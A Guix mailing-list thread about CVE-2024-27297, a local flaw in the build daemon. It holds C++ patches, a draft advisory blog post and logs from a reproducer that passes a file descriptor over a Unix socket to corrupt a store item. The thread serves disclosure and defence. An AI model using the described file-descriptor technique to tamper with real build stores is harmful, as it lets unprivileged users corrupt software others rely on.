* [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297). @ 2024-03-11 10:54 Ludovic Courtès 2024-03-11 22:16 ` Ludovic Courtès 0 siblings, 1 reply; 8+ messages in thread From: Ludovic Courtès @ 2024-03-11 10:54 UTC (permalink / raw) To: 69728 Cc: Picnoir, Ludovic Courtès, Théophane Hufschmitt, guix-security This fixes a security issue (CVE-2024-27297) whereby a fixed-output derivation build process could open a writable file descriptor to its output, send it to some outside process for instance over an abstract AF_UNIX socket, which would then allow said process to modify the file in the store after it has been marked as “valid”. Nix security advisory: https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37 * nix/libutil/util.cc (readDirectory): Add variants that take a DIR* and a file descriptor. Rewrite the ‘Path’ variant accordingly. (copyFile, copyFileRecursively): New functions. * nix/libutil/util.hh (copyFileRecursively): New declaration. * nix/libstore/build.cc (DerivationGoal::buildDone): When ‘fixedOutput’ is true, call ‘copyFileRecursively’ followed by ‘rename’ on each output. Change-Id: I7952d41093eed26e123e38c14a4c1424be1ce1c4 Reported-by: Picnoir <picnoir@alternativebit.fr>, Théophane Hufschmitt <theophane.hufschmitt@tweag.io> Change-Id: Idb5f2757f35af86b032a9851cecb19b70227bd88 --- nix/libstore/build.cc | 16 ++++++ nix/libutil/util.cc | 112 ++++++++++++++++++++++++++++++++++++++++-- nix/libutil/util.hh | 6 +++ 3 files changed, 129 insertions(+), 5 deletions(-) Hello, On Friday, March 8th, fellow Nix developers Picnoir and Théophane Hufschmitt contacted the Guix security team to let us know about a security vulnerability in the Nix daemon they had just found and addressed in Nix: advisory: https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37 PoC: https://hackmd.io/03UGerewRcy3db44JQoWvw fix: https://github.com/NixOS/nix/commit/244f3eee0bbc7f11e9b383a15ed7368e2c4becc9 By sending a file descriptor to another process on the same machine, a fixed-output derivation build process could give write access to a store item to an unprivileged process, effectively giving an unprivileged user the ability to corrupt that store item. The fix implemented by Nix hackers is nice and simple: upon build completion, the output is copied to a new location and deleted, such that any file descriptors that might have been shared now point to unlinked files. (The PoC above looks at various other ways to fix the problem, and this one is by far the simplest.) The patch below “backports” the Nix fix to our daemon. I ended up having to implement my own ‘copyFileRecursively’ function, which is not great (recent versions of Nix use C++17 ‘std::filesystem’ but we’re stuck on C++11 and making the switch didn’t feel appealing either.) I tested the patch locally with things like: strace -o log.strace -f ./test-env guix build -S guile-ssh strace -o log.strace -f ./test-env guix build -S guile-ssh --check strace -o log.strace -f ./test-env guix build -S hello … looking at the strace output to make sure things were happening as expected. Also, “make check” passes. We’d like to push it probably today, but we’d very much like to get more eyeballs on this code! Thanks again to Picnoir and Théophane! Ludo’. diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index 461fcbc584..e2adee118b 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -1382,6 +1382,22 @@ void DerivationGoal::buildDone() % drvPath % statusToString(status)); } + if (fixedOutput) { + /* Replace the output, if it exists, by a fresh copy of itself to + make sure that there's no stale file descriptor pointing to it + (CVE-2024-27297). */ + foreach (DerivationOutputs::iterator, i, drv.outputs) { + if (pathExists(i->second.path)) { + Path pivot = i->second.path + ".tmp"; + copyFileRecursively(i->second.path, pivot, true); + int err = rename(pivot.c_str(), i->second.path.c_str()); + if (err != 0) + throw SysError(format("renaming `%1%' to `%2%'") + % pivot % i->second.path); + } + } + } + /* Compute the FS closure of the outputs and register them as being valid. */ registerOutputs(); diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc index 82eac72120..493f06f357 100644 --- a/nix/libutil/util.cc +++ b/nix/libutil/util.cc @@ -215,14 +215,11 @@ bool isLink(const Path & path) } -DirEntries readDirectory(const Path & path) +static DirEntries readDirectory(DIR *dir) { DirEntries entries; entries.reserve(64); - AutoCloseDir dir = opendir(path.c_str()); - if (!dir) throw SysError(format("opening directory `%1%'") % path); - struct dirent * dirent; while (errno = 0, dirent = readdir(dir)) { /* sic */ checkInterrupt(); @@ -230,11 +227,29 @@ DirEntries readDirectory(const Path & path) if (name == "." || name == "..") continue; entries.emplace_back(name, dirent->d_ino, dirent->d_type); } - if (errno) throw SysError(format("reading directory `%1%'") % path); + if (errno) throw SysError(format("reading directory")); return entries; } +DirEntries readDirectory(const Path & path) +{ + AutoCloseDir dir = opendir(path.c_str()); + if (!dir) throw SysError(format("opening directory `%1%'") % path); + return readDirectory(dir); +} + +static DirEntries readDirectory(int fd) +{ + /* Since 'closedir' closes the underlying file descriptor, duplicate FD + beforehand. */ + int fdcopy = dup(fd); + if (fdcopy < 0) throw SysError("dup"); + + AutoCloseDir dir = fdopendir(fdcopy); + if (!dir) throw SysError(format("opening directory from file descriptor `%1%'") % fd); + return readDirectory(dir); +} unsigned char getFileType(const Path & path) { @@ -364,6 +379,93 @@ void deletePath(const Path & path, unsigned long long & bytesFreed, size_t linkT _deletePath(path, bytesFreed, linkThreshold); } +static void copyFile(int sourceFd, int destinationFd) +{ + struct stat st; + if (fstat(sourceFd, &st) == -1) throw SysError("statting file"); + + ssize_t result = copy_file_range(sourceFd, NULL, destinationFd, NULL, st.st_size, 0); + if (result < 0 && errno == ENOSYS) { + for (size_t remaining = st.st_size; remaining > 0; ) { + unsigned char buf[8192]; + size_t count = std::min(remaining, sizeof buf); + + readFull(sourceFd, buf, count); + writeFull(destinationFd, buf, count); + remaining -= count; + } + } else { + if (result < 0) + throw SysError(format("copy_file_range `%1%' to `%2%'") % sourceFd % destinationFd); + if (result < st.st_size) + throw SysError(format("short write in copy_file_range `%1%' to `%2%'") + % sourceFd % destinationFd); + } +} + +static void copyFileRecursively(int sourceroot, const Path &source, + int destinationroot, const Path &destination, + bool deleteSource) +{ + struct stat st; + if (fstatat(sourceroot, source.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) + throw SysError(format("statting file `%1%'") % source); + + if (S_ISREG(st.st_mode)) { + AutoCloseFD sourceFd = openat(sourceroot, source.c_str(), + O_CLOEXEC | O_NOFOLLOW | O_RDONLY); + if (sourceFd == -1) throw SysError(format("opening `%1%'") % source); + + AutoCloseFD destinationFd = openat(destinationroot, destination.c_str(), + O_CLOEXEC | O_CREAT | O_WRONLY | O_TRUNC, + st.st_mode); + if (destinationFd == -1) throw SysError(format("opening `%1%'") % source); + + copyFile(sourceFd, destinationFd); + } else if (S_ISLNK(st.st_mode)) { + char target[st.st_size + 1]; + ssize_t result = readlinkat(sourceroot, source.c_str(), target, st.st_size); + if (result != st.st_size) throw SysError("reading symlink target"); + target[st.st_size] = '\0'; + int err = symlinkat(target, destinationroot, destination.c_str()); + if (err != 0) + throw SysError(format("creating symlink `%1%'") % destination); + } else if (S_ISDIR(st.st_mode)) { + int err = mkdirat(destinationroot, destination.c_str(), 0755); + if (err != 0) + throw SysError(format("creating directory `%1%'") % destination); + + AutoCloseFD destinationFd = openat(destinationroot, destination.c_str(), + O_CLOEXEC | O_RDONLY | O_DIRECTORY); + if (err != 0) + throw SysError(format("opening directory `%1%'") % destination); + + AutoCloseFD sourceFd = openat(sourceroot, source.c_str(), + O_CLOEXEC | O_NOFOLLOW | O_RDONLY); + if (sourceFd == -1) + throw SysError(format("opening `%1%'") % source); + + if (deleteSource && !(st.st_mode & S_IWUSR)) { + /* Ensure the directory writable so files within it can be + deleted. */ + if (fchmod(sourceFd, st.st_mode | S_IWUSR) == -1) + throw SysError(format("making `%1%' directory writable") % source); + } + + for (auto & i : readDirectory(sourceFd)) + copyFileRecursively((int)sourceFd, i.name, (int)destinationFd, i.name, + deleteSource); + } else throw Error(format("refusing to copy irregular file `%1%'") % source); + + if (deleteSource) + unlinkat(sourceroot, source.c_str(), + S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0); +} + +void copyFileRecursively(const Path &source, const Path &destination, bool deleteSource) +{ + copyFileRecursively(AT_FDCWD, source, AT_FDCWD, destination, deleteSource); +} static Path tempName(Path tmpRoot, const Path & prefix, bool includePid, int & counter) diff --git a/nix/libutil/util.hh b/nix/libutil/util.hh index 880b0e93b2..058f5f8446 100644 --- a/nix/libutil/util.hh +++ b/nix/libutil/util.hh @@ -102,6 +102,12 @@ void deletePath(const Path & path); void deletePath(const Path & path, unsigned long long & bytesFreed, size_t linkThreshold = 1); +/* Copy SOURCE to DESTINATION, recursively. Throw if SOURCE contains a file + that is not a regular file, symlink, or directory. When DELETESOURCE is + true, delete source files once they have been copied. */ +void copyFileRecursively(const Path &source, const Path &destination, + bool deleteSource = false); + /* Create a temporary directory. */ Path createTempDir(const Path & tmpRoot = "", const Path & prefix = "nix", bool includePid = true, bool useGlobalCounter = true, mode_t mode = 0755); base-commit: c7836393be4d134861d652b2fcf09cf4e68275ca -- 2.41.0 ^ permalink raw reply related [flat|nested] 8+ messages in thread
* [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297). 2024-03-11 10:54 [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297) Ludovic Courtès @ 2024-03-11 22:16 ` Ludovic Courtès 2024-03-12 0:42 ` John Kehayias via Guix-patches via ` (2 more replies) 0 siblings, 3 replies; 8+ messages in thread From: Ludovic Courtès @ 2024-03-11 22:16 UTC (permalink / raw) To: 69728; +Cc: Picnoir, Théophane Hufschmitt, guix-security Ludovic Courtès <ludo@gnu.org> skribis: > This fixes a security issue (CVE-2024-27297) whereby a fixed-output > derivation build process could open a writable file descriptor to its > output, send it to some outside process for instance over an abstract > AF_UNIX socket, which would then allow said process to modify the file > in the store after it has been marked as “valid”. > > Nix security advisory: > https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37 > > * nix/libutil/util.cc (readDirectory): Add variants that take a DIR* and > a file descriptor. Rewrite the ‘Path’ variant accordingly. > (copyFile, copyFileRecursively): New functions. > * nix/libutil/util.hh (copyFileRecursively): New declaration. > * nix/libstore/build.cc (DerivationGoal::buildDone): When ‘fixedOutput’ > is true, call ‘copyFileRecursively’ followed by ‘rename’ on each output. > > Change-Id: I7952d41093eed26e123e38c14a4c1424be1ce1c4 > > Reported-by: Picnoir <picnoir@alternativebit.fr>, Théophane Hufschmitt <theophane.hufschmitt@tweag.io> > Change-Id: Idb5f2757f35af86b032a9851cecb19b70227bd88 > --- > nix/libstore/build.cc | 16 ++++++ > nix/libutil/util.cc | 112 ++++++++++++++++++++++++++++++++++++++++-- > nix/libutil/util.hh | 6 +++ > 3 files changed, 129 insertions(+), 5 deletions(-) Pushed (with a slightly different commit message) as 8f4ffb3fae133bb21d7991e97c2f19a7108b1143. Updated the ‘guix’ package in b8954a7faeccae11c32add7cd0f408d139af3a43: Guix System users can now reconfigure! Added a news entry in 4003c60abf7a6e59e47cc2deb9eef2f104ebb994. Ludo’. ^ permalink raw reply [flat|nested] 8+ messages in thread
* [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297). 2024-03-11 22:16 ` Ludovic Courtès @ 2024-03-12 0:42 ` John Kehayias via Guix-patches via 2024-03-12 13:31 ` Ludovic Courtès 2024-03-12 13:45 ` [bug#69728] Reproducer for the daemon fixed-output derivation vulnerability Ludovic Courtès 2 siblings, 0 replies; 8+ messages in thread From: John Kehayias via Guix-patches via @ 2024-03-12 0:42 UTC (permalink / raw) To: Ludovic Courtès Cc: Picnoir, guix-security, Théophane Hufschmitt, 69728 [-- Attachment #1: Type: text/plain, Size: 2841 bytes --] Hi all, On Mon, Mar 11, 2024 at 11:16 PM, Ludovic Courtès wrote: > Ludovic Courtès <ludo@gnu.org> skribis: > >> This fixes a security issue (CVE-2024-27297) whereby a fixed-output >> derivation build process could open a writable file descriptor to its >> output, send it to some outside process for instance over an abstract >> AF_UNIX socket, which would then allow said process to modify the file >> in the store after it has been marked as “valid”. >> >> Nix security advisory: >> <https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37> >> >> * nix/libutil/util.cc (readDirectory): Add variants that take a DIR* and >> a file descriptor. Rewrite the ‘Path’ variant accordingly. >> (copyFile, copyFileRecursively): New functions. >> * nix/libutil/util.hh (copyFileRecursively): New declaration. >> * nix/libstore/build.cc (DerivationGoal::buildDone): When ‘fixedOutput’ >> is true, call ‘copyFileRecursively’ followed by ‘rename’ on each output. >> >> Change-Id: I7952d41093eed26e123e38c14a4c1424be1ce1c4 >> >> Reported-by: Picnoir <picnoir@alternativebit.fr>, Théophane >> Hufschmitt <theophane.hufschmitt@tweag.io> >> Change-Id: Idb5f2757f35af86b032a9851cecb19b70227bd88 >> --- >> nix/libstore/build.cc | 16 ++++++ >> nix/libutil/util.cc | 112 ++++++++++++++++++++++++++++++++++++++++-- >> nix/libutil/util.hh | 6 +++ >> 3 files changed, 129 insertions(+), 5 deletions(-) > > Pushed (with a slightly different commit message) as > 8f4ffb3fae133bb21d7991e97c2f19a7108b1143. > > Updated the ‘guix’ package in b8954a7faeccae11c32add7cd0f408d139af3a43: > Guix System users can now reconfigure! > > Added a news entry in 4003c60abf7a6e59e47cc2deb9eef2f104ebb994. > > Ludo’. Many thanks for the quick fix, deployment, and news entry! I've attached a draft of a blog post to add some information and further alert users. Please give it a read and feel free to make any changes or corrections. Especially if I misunderstood or glossed too quickly over any technical aspects, though I kept it light. And, if all looks good, feel free to take whatever steps to post this to the website. Two minor questions/comments: 1. I made a note that presumably there is some performance penalty for copying everything, probably for derivations with many files. But I haven't tested this, just picked up on this from what was said on the Nix side as a potential impact. 2. Is picnoir the same as Félix Baylac Jacqué? I wasn't sure based on emails; fine to change to whatever they want for credit for reporting this to us. Based on what was posted on the Nix side, it seems jade and puckipedia are the original finders/reporters of the security issue. But feel free to correct me. Thanks everyone! John [-- Attachment #2: cve-2024-27297-post.md --] [-- Type: application/octet-stream, Size: 7321 bytes --] title: Fixed-Output Derivation Sandbox Bypass (CVE-2024-27297) author: John Kehayias tags: Security Advisory date: 2024-03-12 08:00 --- A security issue has been identified in the [`guix-daemon`](https://guix.gnu.org/en/manual/devel/en/html_node/Invoking-guix_002ddaemon.html) which allows for fixed-output [derivations](https://guix.gnu.org/en/manual/devel/en/html_node/Derivations.html) to have their contents modified outside of the sandboxed build environment by an unprivileged process. An attacker with local access to a machine can change the contents of a fixed-output derivation. This was originally reported to Nix but also affects Guix as we share some underlying code from an older version of Nix for the `guix-daemon`. Readers only interested in making sure their Guix is up to date and no longer affected by this vulnerability can skip down to the "Upgrading" section. # Vulnerability The basic idea of the attack is to pass file descriptors through Unix sockets to allow another process to modify the derivation contents. This was first reported to Nix by jade and puckipedia with further details and a proof of concept [here](https://hackmd.io/03UGerewRcy3db44JQoWvw). Note that the proof of concept is written for Nix and would need a rewrite for Guile and GNU Guix packaging to be applied directly here. This security advisory is registered as [CVE-2024-27297](https://www.cve.org/CVERecord?id=CVE-2024-27297) (details are also available at Nix's GitHub [security advisory](https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37)) and rated "moderate" in severity. A fixed-output [derivation](https://guix.gnu.org/en/manual/devel/en/html_node/Derivations.html) is one where the output hash is known in advance. For instance, to produce a source tarball. The GNU Guix build sandbox purposefully excludes network access (for security and to ensure we can control and reproduce the build environment), but a fixed-output derivation does have network access, for instance to download that source tarball. However, as stated, the hash of output must be known in advance, again for security (we know if the file contents would change) and reproducibility (should always have the same output). The `guix-daemon` handles the build process and writing the output to the store, as a privileged process. In the build sandbox for a fixed-output derivation, a file descriptor to its contents could be shared with another process via a Unix socket. This other process, outside of the build sandbox, can then modify the contents written to the store, changing them to something malicious or otherwise corrupting the output. While the output hash has already been determined, these changes would mean a fixed-output derivation could have contents written to the store which do not match the expected hash. This could then be used by the user or other packages as well. # Mitigation This security issue (tracked [here](https://issues.guix.gnu.org/69728) for GNU Guix) has been fixed by a [commit](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=8f4ffb3fae133bb21d7991e97c2f19a7108b1143) by Ludovic Courtès. Upgrade instructions are in the following section. While several possible mitigation strategies were detailed in the original report, the simplest fix is just copy the derivation output somewhere else, deleting the original, before writing to the store. Any file descriptors will no longer point to the contents which get written to the store, so only the `guix-daemon` should be able to write to the store, as designed. This is what the Nix project used in their [own fix](https://github.com/NixOS/nix/commit/244f3eee0bbc7f11e9b383a15ed7368e2c4becc9). This does add an additional copy/delete for each file, which may add a performance penalty for derivations with many files. # Upgrading Due to the severity of this security advisory, we strongly recommend all users to upgrade their `guix-daemon` immediately. For a Guix System the procedure is just reconfiguring the system after a `guix pull`, either restarting `guix-daemon` or rebooting. For example, ```sh guix pull sudo guix system reconfigure /run/current-system/configuration.scm sudo herd restart guix-daemon ``` where `/run/current-system/configuration.scm` is the current system configuration but could, of course, be replaced by a system configuration file of a user's choice. For Guix running as a package manager on other distributions, one needs to `guix pull` with `sudo`, as the `guix-daemon` runs as root, and restart the `guix-daemon` service. For example, on a system using systemd to manage services, ```sh sudo --login guix pull sudo systemctl restart guix-daemon.service ``` Note that for users with their distro's package of Guix (as opposed to having used the [install script](https://guix.gnu.org/en/manual/devel/en/html_node/Binary-Installation.html)) you may need to take other steps or upgrade the Guix package as per other packages on your distro. Please consult the relevant documentation from your distro or contact the package maintainer for additional information or questions. # Conclusion One of the key features and design principles of GNU Guix is to allow unprivileged package management through a secure and reproducible [build environment](https://guix.gnu.org/en/manual/devel/en/html_node/Build-Environment-Setup.html). While every effort is made to protect the user and system from any malicious actors, it is always possible that there are flaws yet to be discovered, as has happened here. In this case, using the ingredients of how file descriptors and Unix sockets work even in the isolated build environment allowed for a security vulnerability with moderate impact. Our thanks to jade and puckipedia for the original report, and Félix Baylac Jacqué for bringing this to the attention of the GNU Guix [security team](https://guix.gnu.org/en/security/). And a special thanks to Ludovic Courtès for a prompt fix. Note that there are current efforts to rewrite the `guix-daemon` in Guile by Christopher Baines. For more information and the latest news on this front, please refer to the [recent blog post](https://guix.gnu.org/en/blog/2023/a-build-daemon-in-guile/) and [this message](https://lists.gnu.org/archive/html/guix-devel/2024-02/msg00253.html) on the [guix-devel](https://lists.gnu.org/mailman/listinfo/guix-devel) mailing list. ### About GNU Guix [GNU Guix](https://guix.gnu.org) is a transactional package manager and an advanced distribution of the GNU system that [respects user freedom](https://www.gnu.org/distros/free-system-distribution-guidelines.html). Guix can be used on top of any system running the Hurd or the Linux kernel, or it can be used as a standalone operating system distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines. In addition to standard package management features, Guix supports transactional upgrades and roll-backs, unprivileged package management, per-user profiles, and garbage collection. When used as a standalone GNU/Linux distribution, Guix offers a declarative, stateless approach to operating system configuration management. Guix is highly customizable and hackable through [Guile](https://www.gnu.org/software/guile) programming interfaces and extensions to the [Scheme](http://schemers.org) language. ^ permalink raw reply [flat|nested] 8+ messages in thread
* [bug#69728] [PATCH security] daemon: Protect against FD escape when building fixed-output derivations (CVE-2024-27297). 2024-03-11 22:16 ` Ludovic Courtès 2024-03-12 0:42 ` John Kehayias via Guix-patches via @ 2024-03-12 13:31 ` Ludovic Courtès 2024-03-12 13:45 ` [bug#69728] Reproducer for the daemon fixed-output derivation vulnerability Ludovic Courtès 2 siblings, 0 replies; 8+ messages in thread From: Ludovic Courtès @ 2024-03-12 13:31 UTC (permalink / raw) To: 69728; +Cc: Picnoir, Théophane Hufschmitt, guix-security [-- Attachment #1: Type: text/plain, Size: 745 bytes --] Hello, Ludovic Courtès <ludo@gnu.org> skribis: > Pushed (with a slightly different commit message) as > 8f4ffb3fae133bb21d7991e97c2f19a7108b1143. > > Updated the ‘guix’ package in b8954a7faeccae11c32add7cd0f408d139af3a43: > Guix System users can now reconfigure! > > Added a news entry in 4003c60abf7a6e59e47cc2deb9eef2f104ebb994. It turns out that the previous fix was incomplete due to a mistake of mine. I pushed ff1251de0bc327ec478fc66a562430fbf35aef42 to address that (patch attached for clarity). Commit 30a8de0bcdadfb55cbcaa34760527c1b767808c7 updates the ‘guix’ package again. Now is the time to reconfigure. I’ll send a reproducer in a separate message. Apologies for the mishap. Ludo’. [-- Attachment #2: Type: text/x-patch, Size: 4469 bytes --] commit ff1251de0bc327ec478fc66a562430fbf35aef42 Author: Ludovic Courtès <ludo@gnu.org> Date: Tue Mar 12 11:53:35 2024 +0100 daemon: Address shortcoming in previous security fix for CVE-2024-27297. This is a followup to 8f4ffb3fae133bb21d7991e97c2f19a7108b1143. Commit 8f4ffb3fae133bb21d7991e97c2f19a7108b1143 fell short in two ways: (1) it didn’t have any effet for fixed-output derivations performed in a chroot, which is the case for all of them except those using “builtin:download” and “builtin:git-download”, and (2) it did not preserve ownership when copying, leading to “suspicious ownership or permission […] rejecting this build output” errors. * nix/libstore/build.cc (DerivationGoal::buildDone): Account for ‘chrootRootDir’ when copying ‘drv.outputs’. * nix/libutil/util.cc (copyFileRecursively): Add ‘fchown’ and ‘fchownat’ calls to preserve file ownership; this is necessary for chrooted fixed-output derivation builds. * nix/libutil/util.hh: Update comment. Change-Id: Ib59f040e98fed59d1af81d724b874b592cbef156 diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc index e2adee118b..d23c0944a4 100644 --- a/nix/libstore/build.cc +++ b/nix/libstore/build.cc @@ -1387,13 +1387,14 @@ void DerivationGoal::buildDone() make sure that there's no stale file descriptor pointing to it (CVE-2024-27297). */ foreach (DerivationOutputs::iterator, i, drv.outputs) { - if (pathExists(i->second.path)) { - Path pivot = i->second.path + ".tmp"; - copyFileRecursively(i->second.path, pivot, true); - int err = rename(pivot.c_str(), i->second.path.c_str()); + Path output = chrootRootDir + i->second.path; + if (pathExists(output)) { + Path pivot = output + ".tmp"; + copyFileRecursively(output, pivot, true); + int err = rename(pivot.c_str(), output.c_str()); if (err != 0) throw SysError(format("renaming `%1%' to `%2%'") - % pivot % i->second.path); + % pivot % output); } } } diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc index 493f06f357..578d657293 100644 --- a/nix/libutil/util.cc +++ b/nix/libutil/util.cc @@ -422,6 +422,7 @@ static void copyFileRecursively(int sourceroot, const Path &source, if (destinationFd == -1) throw SysError(format("opening `%1%'") % source); copyFile(sourceFd, destinationFd); + fchown(destinationFd, st.st_uid, st.st_gid); } else if (S_ISLNK(st.st_mode)) { char target[st.st_size + 1]; ssize_t result = readlinkat(sourceroot, source.c_str(), target, st.st_size); @@ -430,6 +431,8 @@ static void copyFileRecursively(int sourceroot, const Path &source, int err = symlinkat(target, destinationroot, destination.c_str()); if (err != 0) throw SysError(format("creating symlink `%1%'") % destination); + fchownat(destinationroot, destination.c_str(), + st.st_uid, st.st_gid, AT_SYMLINK_NOFOLLOW); } else if (S_ISDIR(st.st_mode)) { int err = mkdirat(destinationroot, destination.c_str(), 0755); if (err != 0) @@ -455,6 +458,7 @@ static void copyFileRecursively(int sourceroot, const Path &source, for (auto & i : readDirectory(sourceFd)) copyFileRecursively((int)sourceFd, i.name, (int)destinationFd, i.name, deleteSource); + fchown(destinationFd, st.st_uid, st.st_gid); } else throw Error(format("refusing to copy irregular file `%1%'") % source); if (deleteSource) diff --git a/nix/libutil/util.hh b/nix/libutil/util.hh index 058f5f8446..377aac0684 100644 --- a/nix/libutil/util.hh +++ b/nix/libutil/util.hh @@ -102,9 +102,10 @@ void deletePath(const Path & path); void deletePath(const Path & path, unsigned long long & bytesFreed, size_t linkThreshold = 1); -/* Copy SOURCE to DESTINATION, recursively. Throw if SOURCE contains a file - that is not a regular file, symlink, or directory. When DELETESOURCE is - true, delete source files once they have been copied. */ +/* Copy SOURCE to DESTINATION, recursively, preserving ownership. Throw if + SOURCE contains a file that is not a regular file, symlink, or directory. + When DELETESOURCE is true, delete source files once they have been + copied. */ void copyFileRecursively(const Path &source, const Path &destination, bool deleteSource = false); ^ permalink raw reply related [flat|nested] 8+ messages in thread
* [bug#69728] Reproducer for the daemon fixed-output derivation vulnerability 2024-03-11 22:16 ` Ludovic Courtès 2024-03-12 0:42 ` John Kehayias via Guix-patches via 2024-03-12 13:31 ` Ludovic Courtès @ 2024-03-12 13:45 ` Ludovic Courtès 2024-03-12 14:35 ` John Kehayias via Guix-patches via 2 siblings, 1 reply; 8+ messages in thread From: Ludovic Courtès @ 2024-03-12 13:45 UTC (permalink / raw) To: 69728; +Cc: Picnoir, Théophane Hufschmitt, guix-security [-- Attachment #1.1: Type: text/plain, Size: 6903 bytes --] As promised, attached is a reproducer that I adapted from the Nix one at <https://hackmd.io/03UGerewRcy3db44JQoWvw>, which I think was written by puck <https://github.com/puckipedia>. The program demonstrates the vulnerability using two fixed-output derivations that must be built concurrently on the same machine. To do that, run: guix build -f fixed-output-derivation-corruption.scm -M4 Normally, you’ll find yourself building “derivation-that-exfiltrates-fd.drv” and “derivation-that-grabs-fd.drv” in parallel; the former will send a file descriptor to the latter using a C program, and the latter will use that file descriptor to modify the contents of /gnu/store/…-derivation-that-exfiltrates-fd after it has completed. On a safe system, the ‘guix build’ command succeeds like this: --8<---------------cut here---------------start------------->8--- $ guix build -f fixed-output-derivation-corruption.scm -M4 /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0% substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0% The following derivations will be built: /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv building /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv... building /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv... accepting connections... attempting connection... preparing our hand... successfully built /gnu/store/a4jabck4l27y4nfjd2agq4m9vp7whqrz-derivation-that-exfiltrates-fd-65f05a81-17185.drv The following build is still in progress: /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv swaptrick finished, now to wait.. successfully built /gnu/store/8wf8mpn0syy5yay3nbrzr3w53jd925rc-derivation-that-grabs-fd-65f05a81-17185.drv building /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv... This depends on /gnu/store/b03pq9ns0y7l12c08wy9jc8lbmkmy33j-derivation-that-grabs-fd-65f05a81-17185, which will grab the file descriptor and corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185. Here is what we see in /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185: "This is the original text, before corruption." Failed to corrupt /gnu/store/i0qcxrhmckni6snn1angzi54pxx3fm1k-derivation-that-exfiltrates-fd-65f05a81-17185, your system is safe. successfully built /gnu/store/gwjb6hinjnnxlrrjxxvwa0n7gxyzlb5l-checking-for-vulnerability.drv /gnu/store/5xsvwbld5c5zxi075j45sfnvsx9f658v-checking-for-vulnerability --8<---------------cut here---------------end--------------->8--- On a system that is still vulnerable, we get this instead: --8<---------------cut here---------------start------------->8--- $ guix build -f fixed-output-derivation-corruption.scm -M4 /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host /home/ludo/src/guix-debugging/fixed-output-derivation-corruption.scm:20:7: warning: importing module (guix config) from the host substitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0% substitute: updating substitutes from 'https://bordeaux.guix.gnu.org'... 100.0% substitute: updating substitutes from 'https://guix.bordeaux.inria.fr'... 100.0% The following derivations will be built: /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv building /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv... building /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv... accepting connections... attempting connection... preparing our hand... successfully built /gnu/store/a2xmgshnyqw7dafnmhdsjxr6f1qqa9da-derivation-that-exfiltrates-fd-65f05aca-17261.drv The following build is still in progress: /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv swaptrick finished, now to wait.. successfully built /gnu/store/arw3as4x4i61xg3yvfk9lsa9jcrwlpqb-derivation-that-grabs-fd-65f05aca-17261.drv building /gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv... This depends on /gnu/store/iqggpsrj9i0ydpqpb98iszx1vnbkgr19-derivation-that-grabs-fd-65f05aca-17261, which will grab the file descriptor and corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261. Here is what we see in /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261: "This file has been corrupted!\n" We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE! builder for `/gnu/store/gph10hc3b2ys49sx58l5wjj4ybf81a2l-checking-for-vulnerability.drv' failed with exit code 1 build of 